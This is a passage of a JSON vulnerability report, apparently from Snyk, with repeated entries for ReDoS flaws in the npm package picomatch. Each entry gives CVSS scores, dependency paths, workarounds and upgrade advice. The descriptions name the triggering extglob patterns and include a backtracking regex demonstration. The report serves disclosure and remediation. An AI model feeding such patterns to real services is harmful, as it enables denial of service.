"2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub 